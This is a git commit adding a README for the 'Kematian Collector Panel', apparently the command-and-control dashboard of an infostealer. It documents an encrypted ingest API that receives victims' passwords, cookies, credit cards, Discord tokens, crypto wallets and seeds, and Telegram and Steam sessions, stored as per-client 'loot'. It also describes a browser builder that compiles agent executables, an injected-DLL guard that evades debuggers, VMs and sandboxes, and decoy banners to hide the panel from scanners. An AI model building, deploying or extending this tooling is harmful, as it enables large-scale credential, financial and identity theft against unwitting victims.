initial commit
This commit is contained in:
+159
@@ -0,0 +1,159 @@
|
||||
# Kematian Collector Panel
|
||||
|
||||
Admin web dashboard + E2EE JSON ingest for the kematian-standalone agent.
|
||||
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
cd panel
|
||||
pip install -r requirements.txt
|
||||
python app.py
|
||||
```
|
||||
|
||||
Open `http://localhost:5000/setup` to create the admin account, then log in.
|
||||
|
||||
Configure via env before running:
|
||||
|
||||
| Env var | Default | Purpose |
|
||||
|---------------------|------------------------------------------|----------------------------------|
|
||||
| `PANEL_SECRET` | `kematian-secret-CHANGE-ME` | Flask session signing key |
|
||||
| `PANEL_INGEST_KEY` | `CHANGE-ME` | Bearer token the agent must send |
|
||||
| `PANEL_PORT` | `5000` | Bind port |
|
||||
|
||||
**Change both secrets before exposing the panel.**
|
||||
|
||||
## E2EE
|
||||
|
||||
Agent → panel traffic is end-to-end encrypted. On first run the panel generates
|
||||
an X25519 keypair at `panel/kematian_e2ee.key`. Its **private key** never leaves
|
||||
the panel; only its **public key** is needed by the agent.
|
||||
|
||||
**The agent fetches that public key itself at runtime** — so at build time you
|
||||
only set the endpoint + ingest key. You never copy a key manually. The panel
|
||||
serves it over:
|
||||
|
||||
```http
|
||||
GET /e2ee/pub
|
||||
Authorization: Bearer <PANEL_INGEST_KEY>
|
||||
```
|
||||
|
||||
Wire scheme (agent encrypts, panel decrypts):
|
||||
`X25519 ECDH (ephemeral) → HKDF-SHA256 → ChaCha20-Poly1305`.
|
||||
Only the panel private key can decrypt the payload.
|
||||
|
||||
## Ingest API
|
||||
|
||||
The agent encrypts its `CollectionResult` and POSTs `{"enc": "<base64 ciphertext>"}`
|
||||
to `/api/ingest` with `Authorization: Bearer <PANEL_INGEST_KEY>`. The panel
|
||||
decrypts and splits every category into its own SQLite table.
|
||||
|
||||
```http
|
||||
POST /api/ingest
|
||||
Authorization: Bearer <PANEL_INGEST_KEY>
|
||||
Content-Type: application/json
|
||||
|
||||
{ "enc": "base64..." }
|
||||
```
|
||||
|
||||
Valid top-level payload keys (inside the encrypted JSON) mirror the Go struct:
|
||||
`clientId, host, passwords, cookies, autofill, history, bookmarks, creditCards,
|
||||
discordTokens, files, extensions, wallets, telegram, keys, appCredentials,
|
||||
gaming, vpns`, plus `seeds`. Gaming/VPNs are stored as nested payload, everything
|
||||
else is flattened per row.
|
||||
|
||||
The agent also ships **binary payloads** (wallet dirs, Telegram sessions, Steam
|
||||
login files) as `payloads: [{category, name, filename, size, data(base64)}]`.
|
||||
The panel writes these to `panel/loot/<client_id>/` and tracks them in the
|
||||
`blobs` table, so they're persisted as a backup and downloadable from the UI.
|
||||
|
||||
## Privacy & hardening
|
||||
|
||||
The panel is not meant to be discovered or probed by randoms:
|
||||
|
||||
- **`/health` and `/e2ee/pub` return 404** unless the caller sends the correct
|
||||
`PANEL_INGEST_KEY` Bearer token. No liveness beacon for scanners.
|
||||
- **Ingest rejects unauthenticated requests** with 401, and (optionally) blocks
|
||||
ingress IPs outside your allowlist with 404.
|
||||
- **Login brute-force throttle** — an IP gets 429 after too many attempts in a
|
||||
window.
|
||||
- **Security headers** on every response: `X-Content-Type-Options`, `X-Frame-Options`,
|
||||
`Referrer-Policy`, `Cache-Control`, and a decoy `Server` banner.
|
||||
- **Optional IP allowlist** via `PANEL_ALLOWED_IPS` (comma-separated). Empty =
|
||||
unrestricted (still gated by creds/rate-limit).
|
||||
|
||||
Additional env:
|
||||
|
||||
| Env var | Default | Purpose |
|
||||
|-----------------------|-------------------------------|------------------------------------------|
|
||||
| `PANEL_ALLOWED_IPS` | (empty) | Comma-separated IPs allowed to ingress/login |
|
||||
| `PANEL_RATE_WINDOW` | `60` | Rate-limit window (seconds) |
|
||||
| `PANEL_RATE_MAX` | `10` | Max failed requests per window per IP |
|
||||
| `PANEL_DECOY_NAME` | `nginx` | Server banner value |
|
||||
| `PANEL_PUBLIC_URL` | (empty) | Public ingest URL pre-filled in the builder form |
|
||||
| `BUILDER_NATIVE_DIR` | `<repo>/Kematian-Standalone/native` | Path to the agent Go source tree |
|
||||
| `BUILDER_OUTPUT_DIR` | `panel/builds` | Where built .exe files are stored |
|
||||
|
||||
## Wiring the agent
|
||||
|
||||
The agent collects the data in `native/recovery/exfil/panel.go`. Set two things
|
||||
(either edit the vars or use `final/build_final.bat`):
|
||||
|
||||
- `PanelEndpoint` – the panel's `/api/ingest` URL
|
||||
- `PanelAuth` – the `PANEL_INGEST_KEY`
|
||||
|
||||
The **public key is auto-fetched** from `/e2ee/pub` on first use, so nothing
|
||||
else is needed. `build_final.bat` prompts for the Telegram bot (optional) plus
|
||||
the panel endpoint + auth key, injects them at build time, then restores sources.
|
||||
|
||||
## Web builder
|
||||
|
||||
The panel can build the agent entirely from the browser at **`/build`**:
|
||||
|
||||
1. Enter the panel endpoint + ingest key, optional Telegram bot/chat.
|
||||
2. Enter a build name.
|
||||
3. Click **Build agent** — the panel copies the native Go tree to a temp dir,
|
||||
patches `panel.go` (`PanelEndpoint`/`PanelAuth`) and `main.go` (Telegram),
|
||||
runs `go build`, and drops the `.exe` in `builds/`.
|
||||
4. Watch the live log, then **Download** the fresh agent.
|
||||
|
||||
The server needs `go` installed (and the agent source tree present at
|
||||
`BUILDER_NATIVE_DIR`, or adjacent to the panel). The source is never modified —
|
||||
it's copied, patched, and built in a temp dir. Built files are kept under
|
||||
`BUILDER_OUTPUT_DIR` and served at `/build/download/<name>.exe`.
|
||||
|
||||
### Anti-analysis guard
|
||||
|
||||
Every build ships a Rust anti-analysis layer (`rust-extractor/src/guard.rs`) that
|
||||
runs inside the injected DLL before the payload starts. It scores the environment
|
||||
and refuses to run on analysis hosts:
|
||||
|
||||
- **Anti-debug**: PEB `BeingDebugged`, `NtGlobalFlag` heap flags,
|
||||
`NtQueryInformationProcess` debug port, `CheckRemoteDebuggerPresent`, RDTSC
|
||||
timing (breakpoint/single-step detection).
|
||||
- **Anti-VM**: CPUID hypervisor-present bit + vendor string (VMware/VirtualBox/KVM/
|
||||
QEMU/Xen/Hyper-V), SMBIOS firmware table, low RAM + single-core heuristics.
|
||||
- **Anti-analyze / sandbox**: process scan for known tools (x64dbg, ollydbg, IDA,
|
||||
procmon, wireshark, tcpview, vmtoolsd…), check for sandbox env markers.
|
||||
|
||||
Detection strings are XOR-encrypted so they don't sit in plaintext `.rodata`.
|
||||
The web builder recompiles the Rust extractor before each `go build`; the local
|
||||
`final/build_final.bat` does the same. `Cargo` must be installed and the
|
||||
`x86_64-pc-windows-gnu` target present.
|
||||
|
||||
## Pages
|
||||
|
||||
- `/` – dashboard with per-category stats + hosted-files count + recent clients
|
||||
- `/clients` – all reporting agents
|
||||
- `/client/<id>` – per-client data breakdown, link to its files
|
||||
- `/client/<id>/loot` – that client's hosted login files (wallet/Steam/Telegram)
|
||||
- `/client/<id>/loot/<id>/download` – download one hosted file
|
||||
- `/client/<id>/loot/zip` – download all of that client's files as one backup zip
|
||||
- `/loot` – every hosted file across all clients
|
||||
- `/build` – build a fresh agent from the browser (panel + Telegram config)
|
||||
- `/cat/<category>` – each data type on its own page with an icon
|
||||
- `/search` – search across passwords, cookies, tokens
|
||||
- `/api/raw/<category>` – raw JSON dump (admin auth required)
|
||||
|
||||
Categories: passwords, cookies, autofill, history, bookmarks, credit_cards,
|
||||
discord_tokens, files, extensions, wallets, telegram, keys, app_credentials, seeds,
|
||||
gaming, vpns.
|
||||
Reference in New Issue
Block a user